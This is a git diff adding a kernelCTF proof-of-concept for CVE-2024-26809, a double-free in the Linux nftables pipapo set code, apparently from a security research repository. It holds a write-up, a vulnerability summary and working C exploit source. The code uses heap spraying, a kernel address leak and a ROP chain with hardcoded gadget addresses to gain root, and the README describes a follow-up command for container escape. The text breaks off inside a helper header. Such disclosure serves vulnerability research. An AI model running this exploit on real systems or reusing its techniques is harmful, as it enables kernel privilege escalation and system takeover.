diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/exploit.md
new file mode 100644
index 00000000..edeb58d0
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/exploit.md
@@ -0,0 +1,156 @@
+# Exploit detail about CVE-2024-26809
+If you want to get some base information about CVE-2024-26809, please read [vulnerability.md](./vulnerability.md) first.
+
+## Background
+nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem.
+
+It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft.
+
+nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`.
+
+
+## Cause anaylysis
+
+In the `function nft_pipapo_destroy`, when the set is dirty, it destroys all the set elements in match and clone:
+```c
+static void nft_pipapo_destroy(const struct nft_ctx *ctx,
+			       const struct nft_set *set)
+{
+	struct nft_pipapo *priv = nft_set_priv(set);
+	struct nft_pipapo_match *m;
+	int cpu;
+
+	m = rcu_dereference_protected(priv->match, true);
+	if (m) {
+		...
+		nft_set_pipapo_match_destroy(ctx, set, m);
+		...
+	}
+
+	if (priv->clone) {
+		m = priv->clone;
+
+		if (priv->dirty)
+			nft_set_pipapo_match_destroy(ctx, set, m);
+	...
+```
+
+ But an element may be in match and clone at the same time. Therefore, calling nft_pipapo_destroy when a set is dirty may cause double-free problems.
+
+## Triggering the vulnerability
+
+It's easy to trigger it by following this steps:
+
+- Create a pipapo set A.
+- Create an element B in A.
+- Create an element C in A.(Make set A dirty.) 
+- Delete set A. (Here will destroy the element B twice because of CVE-2024-26809.)
+
+By the way, we need to send the command of step 3 and step 4 together.
+
+## Exploit it
+
+The steps for exploiting CVE-2024-26809 and [CVE-2024-1085](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2024-1085_lts/docs/exploit.md) are basically similar.
+
+### Target object caches
+Because the `setelem` object size we plan to use is between 0xc0-0x100, our target object cache is `kmalloc-256`
+
+### Exploit detail
+I exploit CVE-2024-26809 by following steps:
+
+- 1. Create a pipapo set `A`.
+- 2. Create element `B` and element `C` in set `A`.(Two elements are created here because if only one element is created to trigger the vulnerability, the same heap will be released twice in succession, which will cause the kernel to crash in subsequent exploits.)
+- 3. Trigger the vulnerability by following messages:
+   
+   ```c
+    memset(key,0x43,0x40);
+    msg_list[0] = new_setelem_msg(table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0);//Create element D in set A, which will make set A dirty
+    msg_list[1] = del_set_msg(table, pipapo_set);//Trigger nft_pipapo_destroy 
+    send_msg_list(socket, msg_list, 2);
+   ```
+   	After this we kfree the set element `B` and `C` twice like this:
+	```c
+	kfree(element B);
+	kfree(element C);
+	kfree(element B);
+	kfree(element C);
+	kfree(element D);
+	```
+- 4. Try to alloc the heap of the set element `C` back by creating `nft_table` with `NFTA_TABLE_USERDATA`. Keep allocing heap, and each time you alloc a heap, check whether the heap has been alloced for(confirmed by whether the memory of the already created heap has been modified). After this step, We will find two `nft_table` with the same `udata`. We assume that the two `nft_tables` are `nft_table E` and `nft_table F`.
+- 5. Delete `nft_table E`.
+- 6. Spray heap to get the heap of `nft_table E->udata`
+back. I spray heap by creating set element with `NFTA_SET_ELEM_EXPR` because I want to leak the `ops` pointer of the `nft_expr`.
+- 7. Dump `nft_table F`. Now we leak `nft_last_ops`.
+- 8. Create another set element `G`. Then dump the `nft_table F` again. We can get the pointer of the set element `G` because each bitmap set element has a doubly linked list.
+  ```c
+  struct nft_bitmap_elem {
+	struct list_head	head;
+	struct nft_set_ext	ext;
+	};
+  ```
+- 9. Delete set element `G`. Fill the heap memory of set element `G` through heap spraying.
+  ```c
+    //ops->dump
+    *(uint64_t *)&pad[0x40] = kernel_off + 0xffffffff810b9f43;//leave ; ret
+    //ops->type
+    *(uint64_t *)&pad[0x78] = kernel_off + 0xFFFFFFFF83967420;//last type
+    spray_tables(socket,0x200, pad, 0x80);
+  ```
+- 10. Delete `nft_table F`.
+- 11. Fill the heap memory of `nft_table F ->udata` with fake `nft_expr` and ROP gadget.
+- 12. Dump the set elements we create in step 5. Finally we will jmp to our ROP gadget.
+    ```c
+	static int nf_tables_fill_expr_info(struct sk_buff *skb,
+						const struct nft_expr *expr)
+	{
+		if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name))
+			goto nla_put_failure;
+
+		if (expr->ops->dump) {
+			struct nlattr *data = nla_nest_start_noflag(skb,
+									NFTA_EXPR_DATA);
+			if (data == NULL)
+				goto nla_put_failure;
+			if (expr->ops->dump(skb, expr) < 0) //we hijack RIP here
+				goto nla_put_failure;
+			nla_nest_end(skb, data);
+		}
+	...
+
+  ```
+
+### ROP detail
+
+The assembly code when calling expr->ops->dump is as follows:
+
+```
+	mov     rax, [rbp+0]
+	mov     rsi, rbp
+	mov     rdi, rbx
+	mov     rax, [rax+40h]
+	call    __x86_indirect_thunk_rax
+```
+So the `rbp` is the pointer of the current `nft_expr`. We fill it by following:
+```c
+	...
+	//build fake setelem
+    *(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops
+    //start ROP
+    *(uint64_t *)&setelem_data[0x30] = kernel_off + 0xffffffff8112af10;//pop rdi; ret  expr[0]->data
+	...
+```
+
+The first step of ROP start looks like this(We fill the ops pointer in step 8):
+```
+expr->ops->dump(skb, expr)  --> leave ; ret 
+```
+This will finally makes this happen:
+
+```
+rsp = element + 0x28 // mov rsp, rbp  
+rbp = *(element + 0x28) //pop rbp  rbp=*(&setelem_data[0x28])
+rsp = element + 0x30 
+rip = *(element + 0x30) //ret   rip=*(&setelem_data[0x30])
+rsp = element + 0x38 
+```
+After completing the stack migration, we can run ROPgadget and finally get the root shell.
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/vulnerability.md
new file mode 100644
index 00000000..adbfe08e
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/vulnerability.md
@@ -0,0 +1,25 @@
+# Vulneribility
+ In function `nft_pipapo_destroy, when the set is dirty, it destroys all the set elements in match and clone, which may cause double-free of the set elements.
+
+## Requirements to trigger the vulnerability
+ - Capabilities:  `CAP_NET_ADMIN` capability is required.
+ - Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES`
+ - Are user namespaces needed?: Yes
+  
+## Commit which introduced the vulnerability
+ - [commit 9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e]((https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/net/netfilter/nft_set_pipapo.c?h=linux-6.1.y&id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e))
+
+
+## Commit which fixed the vulnerability
+- [commit b0e256f3dd2ba6532f37c5c22e07cb07a36031ee](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee)
+
+## Affected kernel versions
+- 6.1-rc1 and later 
+- 5.15.54 and later
+
+## Affected component, subsystem
+- net/netfilter (nf_tables)
+
+## Cause
+- UAF
+
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/.old.c.swp b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/.old.c.swp
new file mode 100644
index 00000000..4b9db57e
Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/.old.c.swp differ
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/Makefile b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/Makefile
new file mode 100644
index 00000000..397d6c67
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/Makefile
@@ -0,0 +1,10 @@
+exploit:
+	gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static
+prerequisites:
+	sudo apt-get install libnl-nf-3-dev
+run:
+	./exploit
+
+clean:
+	rm exploit
+
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/README b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/README
new file mode 100644
index 00000000..4293045d
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/README
@@ -0,0 +1,2 @@
+Exploit for kctf cos-105-17412.294.34
+Run command "nsenter --target 1 -m -p" after run the poc.
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit
new file mode 100644
index 00000000..8cc87e23
Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit differ
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit.c b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit.c
new file mode 100644
index 00000000..ba57817e
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit.c
@@ -0,0 +1,358 @@
+#define _GNU_SOURCE
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <inttypes.h>
+#include <sched.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
+#include <sys/socket.h>
+#include <sys/syscall.h>
+#include <sys/sysinfo.h>
+#include <linux/netlink.h>
+#include <linux/netfilter/nfnetlink.h>
+#include <linux/netfilter/nf_tables.h>
+#include <linux/netfilter/nf_tables_compat.h>
+#include <netlink/msg.h>
+#include <netlink/attr.h>
+#include <netlink/netlink.h>
+#include <netlink/netfilter/nfnl.h>
+
+#include "obj.h"
+#include "setelem.h"
+#include "table.h"
+#include "set.h"
+#include "rop.h"
+
+char *leak_data = NULL;
+char *table_udata = NULL;
+int table_num = 0;
+uint64_t kernel_off = 0;
+unsigned long user_cs,user_ss,user_rsp,user_rflags;
+
+void shell(){
+    printf("ret2usr success! uid : %d\n",getuid());
+    char *args[] = {"/bin/sh", "-i", NULL};
+    execve(args[0], args, NULL);
+}
+
+static void save_state() {
+        asm(
+        "movq %%cs, %0\n"
+        "movq %%ss, %1\n"
+        "movq %%rsp, %2\n"
+        "pushfq\n"
+        "popq %3\n"
+        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory");
+}
+
+void pin_on_cpu(int cpu) {
+  cpu_set_t cpu_set;
+  CPU_ZERO(&cpu_set);
+  CPU_SET(cpu, &cpu_set);
+  if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {
+    perror("sched_setaffinity()");
+    exit(EXIT_FAILURE);
+  }
+}
+
+int setup_sandbox(void) {
+  if (unshare(CLONE_NEWUSER) < 0) {
+    perror("[-] unshare(CLONE_NEWUSER)");
+    return -1;
+  }
+  if (unshare(CLONE_NEWNET) < 0) {
+    perror("[-] unshare(CLONE_NEWNET)");
+    return -1;
+  }
+  return 0;
+}
+
+
+
+void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    int i;
+    for(i=0;i<num;i++){
+    	total_size = total_size + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
+    }
+    char *buf = malloc(total_size);
+    memset(buf, 0, total_size);
+    memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len));
+    char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len);
+    for(i=0;i<num;i++){
+    	memcpy(off, msg_list[i], NLMSG_ALIGN(msg_list[i]->nlmsg_len));
+	off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
+    }
+    memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    if (res < 0) {
+        printf("sending message failed\n");
+    }
+}
+
+int nl_callback_get_table(struct nl_msg* recv_msg, void* arg)
+{
+
+    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
+    struct nlattr * tb_msg[NFTA_TABLE_MAX+1];
+    memset(tb_msg, 0, NFTA_TABLE_MAX * 8);
+
+    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
+        return NL_STOP;
+    }
+
+    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
+    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
+    nla_parse(tb_msg, NFTA_TABLE_MAX, attr, attrlen, NULL);
+    char * table_name=NULL;
+    char * set_name=NULL;
+    if (tb_msg[NFTA_TABLE_NAME]){
+        printf("Getting %s\n", nla_get_string(tb_msg[NFTA_TABLE_NAME]));
+    }
+    if (tb_msg[NFTA_TABLE_USERDATA]){
+	free(table_udata);
+	table_udata = malloc(nla_len(tb_msg[NFTA_TABLE_USERDATA]));
+	nla_memcpy(table_udata, tb_msg[NFTA_TABLE_USERDATA], nla_len(tb_msg[NFTA_TABLE_USERDATA]));
+    }
+    return NL_OK;
+}
+
+void spray_tables(struct nl_sock * socket, int len, char *udata, int size){
+   char *tmp = malloc(0x100);
+   memset(tmp,0,0x100);
+   int i;
+   for(i=0;i<len;i++){
+        snprintf(tmp, 0x100, "table_for_leak_%ld", table_num);
+        new_table_with_udata(socket, tmp, udata, size);
+        ++table_num;
+   }
+   free(tmp);
+}
+
+void exploit(struct nl_sock *socket){
+    int i;
+    char *table = "table for exp";
+    char *pipapo_set = "set pipapo for exp";
+    char *bitmap_set = "set bitmap for exp";
+    char *target_obj = "obj for exp";
+
+    new_table(socket, table);
+    //Step 1 Create a pipapo set `A`
+    new_set_pipapo(socket,table, pipapo_set, 0x40, NFT_OBJECT_CT_EXPECT);//Set A
+    new_set_bitmap(socket, table, bitmap_set);
+    
+    char *key = malloc(0x40);
+    char *key_end = malloc(0x40);
+    char *pad = malloc(0x100);
+    memset(pad,0x41,0x100);
+    uint64_t hash_key;
+    
+    //Step 2 Create element `B` and element `C` in set `A`.
+    new_obj_ct_expect(socket, table, target_obj, NULL, 0);
+    memset(key,0x41,0x40);
+    spray_tables(socket,0x200, pad, 0xd0);
+    new_setelem(socket, table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0, 0);//Set element B
+    memset(key,0x42,0x40);
+    new_setelem(socket, table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0, 0);//Set element C
+    spray_tables(socket,0x200, pad, 0xd0);
+    //Step 3
+    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*5);
+    memset(msg_list, 0, sizeof(struct nlmsghdr *)*5);
+    memset(key,0x43,0x40);
+    msg_list[0] = new_setelem_msg(table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0);//Set element D
+    msg_list[1] = del_set_msg(table, pipapo_set);
+    send_msg_list(socket, msg_list, 2);
+    sleep(1);//Waiting the function nf_tables_commit
+    //Now we try to get the heap back and check if we success
+    //Step 4 Try to alloc the heap of the set element `C` back by creating `nft_table` with `NFTA_TABLE_USERDATA`.
+    struct nl_sock * socket2 = nl_socket_alloc();
+    if(nfnl_connect(socket2)<0){
+        printf("nfnl_connect fail!\n");
+        return 0;
+    }
+    nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_get_table, NULL);
+    int try_num = 0;
+    char *table_name = malloc(0x100);
+    int e=0,f=-1;
+    while(1){
+	printf("trying %d\n",try_num);
+	snprintf(table_name, 0x100, "table for test %d", try_num);
+	*(int *)pad = try_num;
+	new_table_with_udata(socket, table_name, pad, 0xd0);
+	int i;
+	for(i=0;i<try_num;i++){
+		snprintf(table_name, 0x100, "table for test %d", i);
+		get_table(socket2, table_name);
+		nl_recvmsgs_default(socket2);
+        	nl_recvmsgs_default(socket2);
+		printf("Get udata : %d\n", *(int *)table_udata);
+		if(*(int *)table_udata != i){
+		//It means we get two same object from the free list of kernel heap.
+			e = *(int *)table_udata;
+			f = i;
+			break;
+		}
+	}
+	if(f!=-1)
+		break;
+	try_num++;
+	sleep(0.1);//Waiting the function nf_tables_commit
+    	
+    }
+    //Now, we free many object to avoid crash
+    char *tmp = malloc(0x100);
+    memset(tmp,0,0x100);
+    
+    
+    for(i=0x180;i<0x280;i++){
+	snprintf(tmp, 0x100, "table_for_leak_%ld", i);
+        del_table(socket, tmp);
+    }
+    sleep(0.5);//Waiting the function nft_commit_release which finally call nf_tables_table_destroy
+    
+    printf("We get it! E: %d F: %d \n", e, f);
+    
+    snprintf(tmp, 0x100, "table for test %d", e);
+    //Step 5 Delete `nft_table E`.
+    del_table(socket, tmp);
+    sleep(5);//Waiting the function nft_commit_release which finally call nf_tables_table_destroy
+    uint16_t bitmap_key = 0;
+    i=0;
+    //Step 6 Spray heap to get the heap of `nft_table E->udata` back.
+    while(1){	
+	bitmap_key = i;
+	new_setelem_with_expr(socket, table, bitmap_set, pad, 0xb0, NULL, &bitmap_key, 2, NULL, 0);
+	snprintf(tmp, 0x100, "table for test %d", f);
+    	get_table(socket2, tmp);//[1]
+    	nl_recvmsgs_default(socket2);
+    	nl_recvmsgs_default(socket2);
+    	printf("Get ops : %llx\n",*(uint64_t *)(table_udata+0x28));//0x28 = offset(elem, expr[0]->ops), the elem is created by function nft_set_elem_init
+	if(((*(uint64_t *)(table_udata+0x28)) & 0xfff ) == 0xF20){
+    	    break;
+	}
+	sleep(0.1);//Waiting the function nf_tables_commit.
+	i++;
+    }
+    //Save it. We will use it later.
+    //Step 7: Dump `nft_table F`. We have dump it in [1]
+    char *setelem_data = malloc(0x100);
+    memcpy(setelem_data, table_udata, 0xd0);
+    kernel_off = *(uint64_t *)(table_udata+0x28) - NFT_LAST_OPS;//nft_last_ops, 0x28 = offset(elem, expr[0]->ops), the elem is created by function nft_set_elem_init
+    //now we get ops, we try to add a small setelem and leak it. We will use this setelem as expr->ops target.
+    //Step 8: Create another set element `G`. 
+    bitmap_key++;
+    new_setelem(socket, table, bitmap_set, pad, 0x60, NULL, &bitmap_key, 2, NULL, 0, 0);//set element G
+    snprintf(tmp, 0x100, "table for test %d", f);
+
+    get_table(socket2, tmp);
+    nl_recvmsgs_default(socket2);
+    nl_recvmsgs_default(socket2);
+    printf("Get next setelem : %llx\n",*(uint64_t *)table_udata);// 0 = offset(head.next,struct nft_bitmap_elem)
+    
+    uint64_t ops_addr = *(uint64_t *)table_udata;//We use the heap of the next set element as the expr[0]->ops
+    //Free the small setelem, and fill it with our target expr->ops->dump and expr->ops->type
+    //Step 9 : Delete set element `G`.Fill the heap memory of set element `G` through heap spraying.
+    del_setelem(socket, table, bitmap_set, &bitmap_key, 2, NULL, 0);
+    //fake ops->dump
+    *(uint64_t *)&pad[0x40] = kernel_off + LEAVE_RET;
+    //fake ops->type
+    *(uint64_t *)&pad[0x70] = kernel_off + NFT_LAST_TYPE;/*the address of nft_last_type
+                                  In function nf_tables_fill_expr_info:
+                                    if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name))
+                                  so we need to fake ops->type to avoid kernel crash
+                                  */
+    spray_tables(socket,0x200, pad, 0x80);
+    //Now we try to control ip by faking another expr in set elem.
+    //build fake setelem
+    *(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops
+    //start ROP
+    *(uint64_t *)&setelem_data[0x30] = kernel_off + POP_RDI_RET;
+    *(uint64_t *)&setelem_data[0x38] = kernel_off + INIT_CRED;
+    *(uint64_t *)&setelem_data[0x40] = kernel_off + COMMIT_CREDS;
+    *(uint64_t *)&setelem_data[0x48] = kernel_off + POP_RDI_RET;
+    *(uint64_t *)&setelem_data[0x50] = 1;
+    *(uint64_t *)&setelem_data[0x58] = kernel_off + FIND_TASK_BY_VPID;
+    *(uint64_t *)&setelem_data[0x60] = kernel_off + MOV_RDI_RAX_POP_RBX_RET;
+    *(uint64_t *)&setelem_data[0x68] = 0;
+    *(uint64_t *)&setelem_data[0x70] = kernel_off + POP_RSI_RET;
+    *(uint64_t *)&setelem_data[0x78] = kernel_off + INIT_NSPROXY;
+    *(uint64_t *)&setelem_data[0x80] = kernel_off + SWITCH_TASK_NAMESPACES;
+    *(uint64_t *)&setelem_data[0x88] = kernel_off + SWAPGS_RET;
+    *(uint64_t *)&setelem_data[0x90] = kernel_off + IRETQ;
+    *(uint64_t *)&setelem_data[0x98] = (uint64_t)shell;
+    *(uint64_t *)&setelem_data[0xa0] = user_cs;
+    *(uint64_t *)&setelem_data[0xa8] = user_rflags;
+    *(uint64_t *)&setelem_data[0xb0] = user_rsp|8;//You don't need to add '|8' when exploiting kernelctf.vrp.ctfcompetition.com:1337) It seems that without this '|8', a stack error will occur during github pull check. I haven't studied why this problem occurs, but I guess it has something to do with the stack alignment when returning to the function shell.
+    *(uint64_t *)&setelem_data[0xb8] = user_ss;
+    
+    //Step 10: Delete `nft_table F`.
+    del_table(socket, tmp);
+    //Step 11 and 12
+    //Try to get it back and control RIP
+    bitmap_key = i;
+    int t=0;
+    while(1){
+	sleep(0.1);//Avoid heap crashes caused by excessive kmalloc.
+    	spray_tables(socket, 1, setelem_data, 0xd0);
+        get_setelem(socket, table, bitmap_set, &bitmap_key, 2);
+    	printf("%d\n",t);
+	t++;
+    }
+    
+    printf("End\n");
+    while(1);
+}
+
+
+struct nl_sock * setup_nl_socket(){
+    struct nl_sock * socket = nl_socket_alloc();
+
+    if(nfnl_connect(socket)<0){
+        printf("nfnl_connect fail!\n");
+        return NULL;
+    }
+    return socket;
+}
+
+int main(void) {
+    if (setup_sandbox() < 0){
+        printf("Create sandbox fail!\n");
+        return 0;
+    }
+    pin_on_cpu(0);
+    save_state();
+    struct nl_sock * socket = setup_nl_socket();
+    if(socket == NULL)
+	    return 0;
+    exploit(socket);
+    return 0;
+}
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/obj.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/obj.h
new file mode 100644
index 00000000..911e912d
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/obj.h
@@ -0,0 +1,68 @@
+void new_obj_ct_expect(struct nl_sock * socket, char *table_name, char *obj_name, void *udata, uint32_t ulen){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWOBJ),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+    //create test1
+    struct nl_msg *data = nlmsg_alloc();
+    char *a = malloc(0x100);
+    memset(a,0x41,0x100);
+
+    nla_put_u8(data, NFTA_CT_EXPECT_L4PROTO, 6);//IPPROTO_TCP
+    nla_put_u16(data, NFTA_CT_EXPECT_DPORT, 0x4141);
+    nla_put_u32(data, NFTA_CT_EXPECT_TIMEOUT, 0x41414141);
+    nla_put_u8(data, NFTA_CT_EXPECT_SIZE, 0x41);
+    nla_put_nested(msg2, NFTA_OBJ_DATA, data);
+    nla_put_string(msg2, NFTA_OBJ_NAME, obj_name);
+    nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(NFT_OBJECT_CT_EXPECT));
+    nla_put_string(msg2, NFTA_OBJ_TABLE, table_name);
+    if(udata>0)
+            nla_put(msg2, NFTA_OBJ_USERDATA, ulen, udata);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/rop.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/rop.h
new file mode 100644
index 00000000..18c57f30
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/rop.h
@@ -0,0 +1,13 @@
+#define NFT_LAST_OPS 0xFFFFFFFF82ACAF20
+#define LEAVE_RET 0xffffffff811b0023
+#define NFT_LAST_TYPE 0xFFFFFFFF8371BF00
+#define POP_RDI_RET 0xFFFFFFFF813E36EE
+#define INIT_CRED 0xFFFFFFFF83462180
+#define COMMIT_CREDS 0xFFFFFFFF8110E830
+#define FIND_TASK_BY_VPID 0xFFFFFFFF81105680
+#define MOV_RDI_RAX_POP_RBX_RET 0xffffffff8102c701 ////mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret
+#define POP_RSI_RET 0xffffffff811aaf4a
+#define INIT_NSPROXY 0xFFFFFFFF83461F40
+#define SWITCH_TASK_NAMESPACES 0xFFFFFFFF8110CE30
+#define SWAPGS_RET 0xFFFFFFFF82002107
+#define IRETQ 0xFFFFFFFF822011A7
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/set.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/set.h
new file mode 100644
index 00000000..db121b35
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/set.h
@@ -0,0 +1,151 @@
+void new_set_pipapo(struct nl_sock * socket, char *table_name, char *set_name, int key_len, uint32_t obj_type){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
